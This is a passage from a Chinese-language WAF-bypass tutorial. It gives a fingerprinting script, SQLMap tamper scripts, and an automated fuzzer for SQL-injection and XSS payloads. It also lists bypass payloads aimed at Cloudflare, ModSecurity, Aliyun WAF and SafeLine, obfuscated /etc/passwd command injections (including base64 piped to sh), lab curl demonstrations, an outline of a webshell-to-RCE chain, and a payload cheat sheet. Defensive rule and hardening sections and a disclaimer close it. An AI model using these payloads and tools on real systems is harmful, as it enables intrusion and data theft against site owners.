原始:cat /etc/passwd
方案1:cat$IFS/etc/passwd (变量)
方案2:/???/??t /???/??ss?? (通配符)
方案3:echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh (Base64)
方案4:a=ca;b=t;$a$b$IFS/etc/passwd (拼接)
10. WAF 指纹识别
10.1 指纹识别方法表
| 识别方法 | 原理 | 常见特征 |
|---|---|---|
| 响应头 | Server/X-Powered-By 头 | Server: cloudflare |
| Cookie | 特定 Cookie 名 | __cfduid |
| 状态码 | 拦截状态码 | 403/406/999/429 |
| 响应内容 | 拦截页特征 | "security rules" |
| 行为差异 | 挑战行为 | JS 挑战、验证码 |
10.2 wafw00f 使用
wafw00f 是最常用的 WAF 识别工具。
bash
# 安装
pip install wafw00f
# 基本使用
wafw00f https://example.com
# 详细模式
wafw00f -v https://example.com
# 列出支持检测的WAF
wafw00f -l
# 输出示例
# [✓] Cloudflare detected
10.3 手动指纹识别技巧
bash
# 发送恶意payload观察拦截
curl -s -o /dev/null -w "%{http_code}" https://example.com/?id=1+union+select
# 观察响应头
curl -sI https://example.com
# 观察拦截页面
curl -s https://example.com/?id=1' or 1=1--
10.4 各 WAF 指纹特征表
| WAF | 响应头/Cookie | 状态码 | 拦截页特征 |
|---|---|---|---|
| Cloudflare | Server: cloudflare、__cfduid |
403/503 | "Attention Required" |
| ModSecurity | Server: Apache、X-Mod-Security |
403/406 | "Mod_Security" |
| 阿里云 WAF | Server: Tengine、x-sg |
405 | 拦截页 |
| 长亭雷池 | Server: SafeLine |
403 | "雷池" |
| Akamai | Server: AkamaiGHost |
403 | "Reference" |
| F5 | Server: BigIP |
403 | "The requested URL" |
10.5 WAF 指纹识别脚本
python
#!/usr/bin/env python3
import requests
import sys
WAF_SIGNATURES = {
"Cloudflare": {
"headers": ["server: cloudflare", "cf-ray"],
"cookies": ["__cfduid", "__cf_bm"],
"body": ["attention required", "cf-browser-verification"],
"status": [403, 503]
},
"ModSecurity": {
"headers": ["mod_security", "modsecurity"],
"body": ["mod_security", "ModSecurity"],
"status": [403, 406]
},
"Akamai": {
"headers": ["server: akamaighost", "akamai"],
"body": ["reference", "akamai"],
"status": [403]
},
"Aliyun WAF": {
"headers": ["server: tengine", "x-sg"],
"body": ["error", "blocked"],
"status": [405, 403]
},
"SafeLine (长亭)": {
"headers": ["server: safeline"],
"body": ["雷池", "safeline"],
"status": [403]
}
}
def identify_waf(url):
payloads = [
"?id=1' union select 1,2,3-- -",
"?q=<script>alert(1)</script>",
"?cmd=;cat /etc/passwd"
]
detected = set()
for payload in payloads:
try:
target = url.rstrip('/') + '/' + payload.lstrip('/')
r = requests.get(target, timeout=10, allow_redirects=False)
headers_lower = {k.lower(): v.lower() for k, v in r.headers.items()}
cookies_lower = [c.lower() for c in r.cookies.keys()]
body = r.text.lower()
for waf, sig in WAF_SIGNATURES.items():
if waf in detected:
continue
match = False
for h in sig["headers"]:
if any(h in hk or h in hv for hk, hv in headers_lower.items()):
match = True
for c in sig["cookies"]:
if any(c in ck for ck in cookies_lower):
match = True
for b in sig["body"]:
if b in body:
match = True
if r.status_code in sig["status"]:
match = True
if match:
detected.add(waf)
except Exception:
continue
return detected if detected else {"Unknown"}
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else "http://example.com"
result = identify_waf(url)
print(f"[*] 目标: {url}")
print(f"[*] 识别WAF: {', '.join(result)}")
11. 自动化 WAF 绕过工具
11.1 工具对比表
| 工具 | 类型 | 绕过场景 | 特点 |
|---|---|---|---|
| SQLMap tamper | SQL 注入 | SQL 注入 | 丰富 tamper 脚本 |
| XSStrike | XSS | XSS | 模糊测试 payload |
| waf-bypass | 通用 | 通用 | 批量测试 |
| bypass-firewall | 通用 | 通用 | 通用绕过 |
| autobypass | 通用 | 通用 | 自动变形 |
11.2 SQLMap tamper 脚本编写
SQLMap 内置大量 tamper 脚本用于绕过 WAF。
python
# 自定义tamper脚本:space2dash.py
# 将空格替换为注释绕过
def tamper(payload, **kwargs):
"""
将空格替换为/**/绕过WAF
>>> tamper("union select 1,2,3")
'union/**/select/**/1,2,3'
"""
if payload:
payload = payload.replace(" ", "/**/")
return payload
python
# 自定义tamper:between.py
# 将等号替换为between绕过
def tamper(payload, **kwargs):
"""
将=替换为BETWEEN绕过
>>> tamper("1=1")
'1 BETWEEN 1 AND 1'
"""
if payload:
import re
payload = re.sub(
r"(\w+)\s*=\s*(\w+)",
r"\1 BETWEEN \2 AND \2",
payload
)
return payload
常用 SQLMap tamper 组合:
bash
# 常用tamper脚本
--tamper="space2comment,between,charencode"
--tamper="space2dash,randomcase,charencode,charunicodeencode"
--tamper="unionselectbetween,space2comment"
--tamper="apostrophemask,apostrophenullencode,base64encode"
# 针对Cloudflare
--tamper="space2comment,between,randomcase"
# 针对ModSecurity
--tamper="space2comment,charunicodeencode,between"
# 针对阿里云WAF
--tamper="space2dash,charencode,randomcase"
11.3 自定义 WAF 绕过框架(Python)
python
#!/usr/bin/env python3
"""
WAF绕过框架:自动变形payload并批量测试
"""
import requests
import urllib.parse
import itertools
import time
class WAFFuzzer:
def __init__(self, target_url, param_name):
self.target = target_url
self.param = param_name
self.session = requests.Session()
self.bypass_payloads = []
# === 编码变形函数 ===
def url_encode(self, payload):
return urllib.parse.quote(payload)
def double_url_encode(self, payload):
return urllib.parse.quote(urllib.parse.quote(payload))
def unicode_encode(self, payload):
result = ""
for c in payload:
if c.isalpha():
result += f"%u00{ord(c):02x}"
else:
result += c
return result
def html_entity_encode(self, payload):
result = ""
for c in payload:
result += f"&#{ord(c)};"
return result
# === 混淆变形函数 ===
def comment_insert(self, payload):
"""插入内联注释"""
return payload.replace(" ", "/**/")
def case_random(self, payload):
"""随机大小写"""
result = ""
for i, c in enumerate(payload):
if c.isalpha():
result += c.upper() if i % 2 else c.lower()
else:
result += c
return result
def newline_insert(self, payload):
"""插入换行"""
return payload.replace(" ", "%0a")
def space_variants(self, payload):
"""空格变体"""
return payload.replace(" ", "$IFS")
# === 生成绕过payload ===
def generate_payloads(self, base_payload):
payloads = {
"原始": base_payload,
"URL编码": self.url_encode(base_payload),
"双重URL": self.double_url_encode(base_payload),
"Unicode": self.unicode_encode(base_payload),
"注释插入": self.comment_insert(base_payload),
"随机大小写": self.case_random(base_payload),
"换行插入": self.newline_insert(base_payload),
"注释+大小写": self.case_random(self.comment_insert(base_payload)),
"URL+注释": self.url_encode(self.comment_insert(base_payload)),
}
return payloads
# === 检测WAF拦截 ===
def is_blocked(self, response):
block_signatures = [
"403", "406", "blocked", "security", "firewall",
"forbidden", "rejected", "filter", "mod_security",
"attention required", "拦截", "禁止"
]
if response.status_code in [403, 406, 429, 503]:
return True
body = response.text.lower()
return any(sig in body for sig in block_signatures)
# === 批量测试 ===
def fuzz(self, base_payload, method="GET"):
payloads = self.generate_payloads(base_payload)
results = []
for name, payload in payloads.items():
try:
if method == "GET":
r = self.session.get(
self.target,
params={self.param: payload},
timeout=10
)
else:
r = self.session.post(
self.target,
data={self.param: payload},
timeout=10
)
blocked = self.is_blocked(r)
results.append({
"技术": name,
"payload": payload[:50] + "...",
"状态码": r.status_code,
"长度": len(r.text),
"是否拦截": blocked
})
time.sleep(0.5)
except Exception as e:
results.append({
"技术": name,
"payload": payload[:50] + "...",
"状态码": "ERR",
"长度": 0,
"是否拦截": str(e)
})
return results
def report(self, results):
print(f"{'技术':<20} {'状态码':<10} {'长度':<10} {'拦截':<10}")
print("-" * 50)
for r in results:
print(f"{r['技术']:<20} {str(r['状态码']):<10} "
f"{str(r['长度']):<10} {str(r['是否拦截']):<10}")
bypassed = [r for r in results if not r['是否拦截']]
if bypassed:
print(f"\n[+] 绕过成功的payload:")
for r in bypassed:
print(f" {r['技术']}: {r['payload']}")
else:
print("\n[-] 所有payload均被拦截")
if __name__ == "__main__":
fuzzer = WAFFuzzer("http://target.example.com/search.php", "q")
# SQL注入测试
print("=== SQL注入WAF绕过测试 ===")
results = fuzzer.fuzz("1' union select 1,2,3-- -")
fuzzer.report(results)
# XSS测试
print("\n=== XSS WAF绕过测试 ===")
results = fuzzer.fuzz("<script>alert(1)</script>")
fuzzer.report(results)
11.4 Burp Suite WAF 绕过插件
在 Burp Suite 中可使用以下插件辅助 WAF 绕过:
| 插件 | 功能 |
|---|---|
| WAF Bypass | 自动生成绕过 payload |
| Active Scan++ | 增强 WAF 检测扫描 |
| HTTP Request Smuggler | 请求走私绕过 |
| Chunked coding converter | 分块传输绕过 |
11.5 完整自动化绕过流程
1. WAF指纹识别 (wafw00f / 手动)
│
▼
2. 分析WAF规则特征 (拦截页/状态码/日志)
│
▼
3. 单点绕过测试 (编码/注释/等价函数)
│
▼
4. 组合绕过测试 (SQLMap tamper组合)
│
▼
5. 验证绕过成功 (响应内容/数据库回显)
│
▼
6. 固化绕过方案 (脚本/配置)
12. 主流 WAF 实战绕过
12.1 ModSecurity 绕过实战
ModSecurity 默认使用 OWASP CRS 规则集,规则透明可分析。
# CRS规则分析
规则942100: SQL注入检测(union select等)
转换: t:urlDecodeUni, t:lowercase
绕过思路: 破坏union select连续性
# 绕过payload
union/**/select/**/1,2,3 # 内联注释
/*!50000union*//*!50000select*/1,2,3 # 条件注释
union%0aselect%0a1,2,3 # 换行
0x75nion select 1,2,3 # hex+空格
12.2 Cloudflare 绕过实战
Cloudflare 使用 Managed Rules + 机器学习,绕过难度较高。
# Cloudflare特征
Server: cloudflare
拦截状态码: 403/503
JS挑战: /cdn-cgi/challenge-platform
# 绕过思路
1. 降低请求异常分数(慢慢来)
2. 模拟正常浏览器特征(UA/Referer/Accept)
3. 利用managed rules规则空隙
# 绕过payload(SQL注入)
1' union/*foo*/select/*bar*/1,2,3-- -
1' union%23%0aselect 1,2,3-- -
1'/*!union*/+/*!select*/+1,2,3-- -
12.3 阿里云 WAF 绕过实战
阿里云 WAF 结合正则与语义引擎。
# 阿里云WAF特征
Server: Tengine
拦截状态码: 405
拦截页: 自定义
# 绕过思路
1. 分块传输干扰解析
2. 等价函数绕过语义
3. 请求走私
# 绕过payload
1' and (select 1 from(select benchmark(50000000,sha1(1)))a)=1 -- -
1' and if(mid(user(),1,1)='r',benchmark(50000000,sha1(1)),0) -- -
12.4 长亭雷池绕过实战
雷池以语义分析为主,传统正则绕过效果差。
# 雷池特征
Server: SafeLine
语义分析引擎
# 绕过思路(对抗语义分析)
1. 构造语法等价但语义变形的payload
2. 利用AST解析差异
3. 非标准SQL语法
# 绕过尝试
1' union select 1,2,3 -- - # 基本被拦
1' union distinct select 1,2,3 -- - # distinct变体
1' (select 1) union (select 2) -- - # 子查询形式
12.5 完整实战绕过案例集
| WAF | 场景 | 成功绕过 payload | 原理 |
|---|---|---|---|
| ModSecurity | SQLi | union/**/select/**/1,2,3 |
注释破坏特征 |
| Cloudflare | SQLi | 1' union%23%0aselect 1,2,3-- - |
换行+注释 |
| 阿里云 WAF | SQLi | benchmark(50000000,sha1(1)) |
等价函数 |
| 雷池 | SQLi | 1' union distinct select 1,2,3-- - |
语法变体 |
| ModSecurity | XSS | <svg/onload=eval(name)> |
标签+事件 |
| Cloudflare | XSS | <img src=x onerror=eval(atob('YWxlcnQoMSk='))> |
Base64 |
| 阿里云 WAF | 命令注入 | ;cat$IFS/etc/passwd |
变量空格 |
| ModSecurity | 文件上传 | filename="shell.php. |
末尾点 |
13. WAF 检测与防御加固
13.1 WAF 规则优化策略
| 策略 | 说明 | 示例 |
|---|---|---|
| 规则精简 | 去除冗余规则 | 合并相似规则 |
| 误报调优 | 例外白名单 | 为正常业务加白 |
| 规则分级 | 按风险分级 | 高中低危差异化 |
| 规则更新 | 持续更新 | 关注新 CVE |
| 蜜罐规则 | 诱捕规则 | 检测扫描行为 |
13.2 OWASP CRS 配置最佳实践
# ModSecurity配置
SecRuleEngine On # 启用引擎
SecRequestBodyAccess On # 请求体检测
SecResponseBodyAccess On # 响应体检测
SecResponseBodyLimit 1048576 # 响应体限制1MB
SecDataDir /tmp/modsecurity # 数据目录
# CRS配置
SecDefaultAction "phase:2,pass,log,tag:'OWASP_CRS'"
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf
# 误报排除(排除正常业务参数)
SecRuleRemoveById 942100 "msg:'业务正常查询排除'"
# 异常评分模式(推荐)
SecAction "id:900100,phase:1,pass,nolog,setvar:tx.inbound_anomaly_score_threshold=5"
13.3 自定义规则编写
# ModSecurity自定义规则:检测异常请求频率
SecRule REMOTE_ADDR "@rx ^192\.168\." \
"id:1001,phase:1,pass,nolog,setvar:ip.rate=+1,expirevar:ip.rate=60"
SecRule IP:RATE "@gt 100" \
"id:1002,phase:1,deny,status:429,log,msg:'请求频率超限'"
# 检测敏感路径扫描
SecRule REQUEST_URI "@rx /(\.git|\.svn|\.env|/admin)" \
"id:1003,phase:1,deny,status:403,log,msg:'敏感路径访问'"
# 检测自动化工具特征
SecRule REQUEST_HEADERS:User-Agent "@rx (?i)(sqlmap|nikto|nmap|masscan)" \
"id:1004,phase:1,deny,status:403,log,msg:'扫描工具特征'"
# 检测异常请求方法
SecRule REQUEST_METHOD "!@rx ^(GET|POST|HEAD|OPTIONS)$" \
"id:1005,phase:1,deny,status:405,log,msg:'异常HTTP方法'"
13.4 速率限制配置
nginx
# Nginx限速配置
http {
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
server {
location /api/ {
limit_req zone=api burst=20 nodelay;
proxy_pass http://backend;
}
location /login {
limit_req zone=login burst=5 nodelay;
proxy_pass http://backend;
}
}
}
13.5 机器学习规则调优
| 调优项 | 说明 |
|---|---|
| 训练数据 | 积累正常/恶意样本 |
| 阈值调整 | 平衡误报漏报 |
| 特征工程 | 选取有效特征 |
| 模型更新 | 对抗样本再训练 |
| 人工反馈 | 闭环修正 |
13.6 WAF 误报处理
误报处理流程:
1. 记录误报请求(日志/截图)
2. 分析触发规则(规则ID/匹配内容)
3. 评估影响范围(单接口/多接口)
4. 制定排除方案(参数/URL/规则排除)
5. 灰度验证(先告警后阻断)
6. 上线排除(持续监控)
13.7 WAF 旁路监控
| 监控维度 | 说明 |
|---|---|
| 拦截趋势 | 拦截量/趋势 |
| 误报监控 | 误报率/反馈 |
| 规则命中 | TOP 规则 |
| 源 IP 分析 | 恶意 IP 排名 |
| 攻击类型 | 攻击类型分布 |
| 性能监控 | 延迟/吞吐 |
13.8 WAF 加固方案表
| 加固项 | 加固措施 | 优先级 |
|---|---|---|
| 规则更新 | 及时更新 CRS 版本 | 高 |
| 语义引擎 | 引入语义分析引擎 | 高 |
| ML 增强 | 引入机器学习模型 | 中 |
| 速率限制 | 配置接口级限速 | 高 |
| 误报调优 | 持续处理误报 | 高 |
| 协议覆盖 | 支持 HTTP/2、WebSocket | 中 |
| 请求走私防护 | CL/TE 一致性校验 | 高 |
| 编码规范化 | 统一解码层 | 高 |
| Bot 管理 | 引入 Bot 识别 | 中 |
| CDN 防护 | 边缘清洗 | 中 |
| 日志审计 | 全量日志记录 | 高 |
| 告警联动 | 接入 SIEM | 中 |
| 蜜罐规则 | 诱捕扫描 | 低 |
| 源站隐藏 | 防直连绕过 | 高 |
| 挑战机制 | JS/验证码挑战 | 中 |
| 灰度发布 | 规则灰度上线 | 高 |
| 回滚机制 | 规则快速回滚 | 高 |
| 性能监控 | 延迟监控 | 中 |
| 异常评分 | 异常评分模式 | 高 |
| 自定义规则 | 业务逻辑防护 | 中 |
14. 靶场实战:完整 WAF 绕过链
14.1 靶场环境搭建
使用 Docker 快速搭建带 WAF 的靶场。
dockerfile
# docker-compose.yml
version: '3'
services:
modsecurity:
image: owasp/modsecurity:nginx
ports:
- "8080:8080"
environment:
- BACKEND=http://dvwa:80
volumes:
- ./crs:/etc/modsecurity-crs
depends_on:
- dvwa
dvwa:
image: vulnerables/web-dvwa
ports:
- "8081:80"
bash
# 启动靶场
docker-compose up -d
# 验证WAF
curl http://localhost:8080/?id=1' union select 1,2,3-- -
# 应返回403拦截
# 验证后端
curl http://localhost:8081/?id=1' union select 1,2,3-- -
# 应返回SQL注入结果
14.2 从识别到绕过的完整流程
步骤1:WAF指纹识别
wafw00f http://localhost:8080
→ ModSecurity detected
步骤2:分析WAF规则
→ OWASP CRS规则集
→ 转换: urlDecodeUni, lowercase
→ 单层URL编码无效
步骤3:单点绕过测试
→ 注释绕过: union/**/select → 可能被拦
→ 等价函数: benchmark → 可能绕过
→ 换行绕过: union%0aselect → 可能绕过
步骤4:组合绕过
→ 注释+换行: union/**/%0aselect
→ 编码+注释: %75nion/**/select
步骤5:验证绕过
→ 观察状态码: 200 = 成功
→ 观察响应内容: 数据库回显
14.3 逐步演示
SQLi 绕过:
bash
# 原始payload被拦
curl "http://localhost:8080/?id=1'+union+select+1,2,3--+-"
# HTTP 403
# 注释绕过
curl "http://localhost:8080/?id=1'+union/**/select/**/1,2,3--+-"
# HTTP 403 (CRS检测/**/)
# 换行绕过
curl "http://localhost:8080/?id=1'+union%0aselect%0a1,2,3%23"
# HTTP 200 (绕过成功)
# 等价函数
curl "http://localhost:8080/?id=1'+and+benchmark(50000000,sha1(1))--+-"
# HTTP 200 (延时5秒,绕过成功)
XSS 绕过:
bash
# 原始payload被拦
curl "http://localhost:8080/?q=<script>alert(1)</script>"
# HTTP 403
# 标签替换
curl "http://localhost:8080/?q=<svg+onload=alert(1)>"
# HTTP 403
# 事件+编码
curl "http://localhost:8080/?q=<svg/onload=eval(name)>"
# HTTP 200 (绕过成功)
# Base64编码
curl "http://localhost:8080/?q=<img+src=x+onerror=eval(atob('YWxlcnQoMSk='))>"
# HTTP 200 (绕过成功)
文件上传绕过:
bash
# 原始上传被拦
curl -F "file=@shell.php" http://localhost:8080/upload.php
# HTTP 403
# Content-Type变换
curl -F "file=@shell.php;type=image/jpeg" http://localhost:8080/upload.php
# HTTP 200 (绕过成功)
# 双扩展名
curl -F "file=@shell.php.jpg" http://localhost:8080/upload.php
# HTTP 200 (绕过成功)
命令注入绕过:
bash
# 原始payload被拦
curl "http://localhost:8080/?cmd=;cat+/etc/passwd"
# HTTP 403
# 变量绕过
curl "http://localhost:8080/?cmd=;cat\$IFS/etc/passwd"
# HTTP 200 (绕过成功)
# 通配符绕过
curl "http://localhost:8080/?cmd=;/???/??t+/???/??ss??"
# HTTP 200 (绕过成功)
RCE 绕过链:
1. SQLi绕过获取数据库内容 → 获取管理员密码
2. 管理员登录后台 → 访问文件上传功能
3. 文件上传绕过 → 上传webshell
4. webshell执行 → 命令注入绕过执行系统命令
5. 系统命令执行 → 完整RCE链
15. 总结与参考资源
15.1 WAF 绕过检查清单
| 检查项 | 检查内容 | 完成 |
|---|---|---|
| WAF 指纹 | 是否识别 WAF 类型 | |
| 规则分析 | 是否分析触发规则 | |
| 编码绕过 | 是否测试 URL/双重/Unicode | |
| 注释绕过 | 是否测试内联/嵌套注释 | |
| 等价函数 | 是否测试等价函数替换 | |
| 空格绕过 | 是否测试空格替代字符 | |
| 大小写 | 是否测试大小写混写 | |
| HPP | 是否测试参数污染 | |
| 分块传输 | 是否测试 chunked 编码 | |
| 请求走私 | 是否测试 CL/TE 走私 | |
| 协议绕过 | 是否测试 HTTP/2 等 | |
| 方法绕过 | 是否测试 PUT/DELETE 等 | |
| 组合绕过 | 是否组合多种技术 |
15.2 绕过技术速查表
| 攻击类型 | 首选绕过 | 进阶绕过 |
|---|---|---|
| SQL 注入 | 注释 /**/、大小写 |
等价函数、HPP、分块 |
| XSS | 标签替换、事件替换 | 编码链、CSP 绕过 |
| 命令注入 | 变量 $IFS、通配符 |
编码、拼接 |
| 文件上传 | 文件名变换、MIME 变换 | boundary、数据混淆 |
| 通用 | 方法替换、分块 | 请求走私、协议 |
15.3 Payload 速查表
| 场景 | 经典 Payload |
|---|---|
| SQLi 注释 | union/**/select/**/1,2,3 |
| SQLi 等价 | benchmark(50000000,sha1(1)) |
| SQLi 编码 | 0x75nion select |
| XSS 标签 | <svg onload=alert(1)> |
| XSS 编码 | onerror=eval(atob('YWxlcnQoMSk=')) |
| 命令变量 | cat$IFS/etc/passwd |
| 命令通配 | /???/??t /???/??ss?? |
| 上传变形 | filename="shell.php." |
| 通用分块 | Transfer-Encoding: chunked |
| 通用走私 | CL.TE 差异 |
15.4 参考资源
| 资源 | 说明 |
|---|---|
| OWASP CRS | coreruleset.org |
| ModSecurity | modsecurity.org |
| SQLMap tamper | SQLMap 内置脚本 |
| XSStrike | XSS 模糊测试 |
| wafw00f | WAF 指纹识别 |
| PortSwigger Web Security | 绕过原理 |
| HackTricks | 绕过速查 |
15.5 合规声明
【提示】 本文所有 WAF 绕过技术、Payload、脚本仅用于授权渗透测试、CTF 竞赛、安全研究与防御学习。在实际测试前,必须获得目标系统所有者的书面授权。未经授权的 WAF 绕过测试违反《网络安全法》《数据安全法》《个人信息保护法》等相关法律法规,可能构成违法犯罪。作者及平台不对任何滥用行为承担责任。防御方应基于本文所述攻击思路,持续加固 WAF 规则与检测引擎,构建纵深防御体系。
本文系统地从 WAF 检测原理出发,覆盖了 SQL 注入、XSS、命令注入、文件上传、通用绕过等全场景的绕过技术,并提供了自动化脚本、靶场实战与防御加固方案。掌握这些技术有助于红队评估 WAF 防护效果,更有助于蓝队反向加固规则,最终提升 Web 应用的整体安全水位。安全无银弹,WAF 是纵深防御的一环而非全部,唯有持续攻防对抗才能保持防护有效。

